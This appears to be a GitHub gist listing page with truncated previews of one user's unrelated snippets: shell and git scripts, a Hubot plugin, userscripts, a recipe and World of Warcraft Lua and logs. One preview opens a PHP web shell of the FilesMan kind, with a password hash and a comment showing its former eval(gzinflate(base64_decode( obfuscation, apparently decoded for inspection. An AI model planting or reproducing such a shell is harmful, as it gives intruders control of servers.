Skip to content

Instantly share code, notes, and snippets.

source ~/.profile
# employing this prompt: http://vvv.tobiassjosten.net/bash/dynamic-prompt-with-git-and-ansi-colors
# Configure colors, if available.
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
c_reset='\[\e[0m\]'
c_user='\[\033[1;33m\]'
c_path='\[\e[0;33m\]'
c_git_clean='\[\e[0;36m\]'
function crash_wow()
local model = CreateFrame("PlayerModel")
model:SetWidth(300)
model:SetHeight(300)
model:SetPoint("CENTER", WorldFrame)
model:SetCreature(83008)
end
Ragu (aka Bolognese sauce)
This is mainly taken directly from Marcella Hazan.
450g good quality steak mince
1 stick celery, chopped finely
1 medium onion, chopped finely
1 carrot, chopped finely
8 fl oz / 1 cup dry white wine
8 fl oz / 1 cup milk
<?php
$auth_pass = "918ace46db6fe08a3581ced046d0d764";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
// This was formerly:
// preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66......");
// All the unicode-escaped stuff worked out to `eval(gzinflate(base64_decode(`
// Creates a throttled function, which will run *at most* every `delay`.
// It'll run immediately the first time you call it, because that's a very
// long time since it was last called, as it were.
// e.g. set up a scroll handler which will be called once every 500ms at most
// $(window).bind('scroll', throttle(my_expensive_scroll_handler, 500));
var throttle = function(callback, delay) {
var timeout
,last_run = 0;
return function () {
if (timeout) {
[17:31] Your skill in Mail has increased to 1.
[17:31] Your skill in Herbalism has increased to 525.
[17:31] Your skill in Archaeology has increased to 525.
[17:31] You have gained the Riding skill.
[17:31] Your skill in Two-Handed Maces has increased to 400.
[17:31] You have gained the Leather skill.
[17:31] Your skill in Language: Common has increased to 300.
[17:31] You have gained the Inscription skill.
[17:31] You have gained the Runeforging skill.
[17:31] Your skill in Fishing has increased to 496.
@kemayo
kemayo / slack-skype.coffee
Created January 26, 2015 15:16
Hubot plugin to drop a skype conference call link into the chat
# Description
# Drop a link into chat which will work as a skype conference call for the requested user
#
# Dependencies:
# "slack-node": "^0.0.95"
# "hubot-slack-attachment": "^1.0.0"
#
# Configuration:
# HUBOT_SLACK_TOKEN
# HUBOT_SLACK_INCOMING_WEBHOOK
@kemayo
kemayo / git-foreach
Last active November 26, 2015 21:16
A git utility for my own use, here so I don't forget about it
#!/bin/bash
for D in *; do
if [ -d "${D}/.git" ]; then
echo "${D}:" "${1:-pull}" "${@:2}"
git -C "${D}" "${1:-pull}" "${@:2}"
fi
done
// ==UserScript==
// @name Xenforo invisitext
// @namespace http://davidlynch.org/
// @version 0.1
// @description Make some invisible text a little more visible
// @author David Lynch
// @match https://forums.sufficientvelocity.com/*
// @match https://forums.spacebattles.com/*
// @match https://forums.questionablequesting.com/*
// @match https://xenforo.com/community/*
@kemayo
kemayo / phptag.sublime-snippet
Created March 9, 2013 05:16
Make Sublime Text turn <? into <?php | ?> (where the | is your cursor), when you hit tab.
<snippet>
<content><![CDATA[
<?php ${1} ?>
]]></content>
<!-- Optional: Set a tabTrigger to define how to trigger the snippet -->
<tabTrigger>&lt;?</tabTrigger>
<!-- Optional: Set a scope to limit where the snippet will trigger -->
<scope>source.php</scope>
</snippet>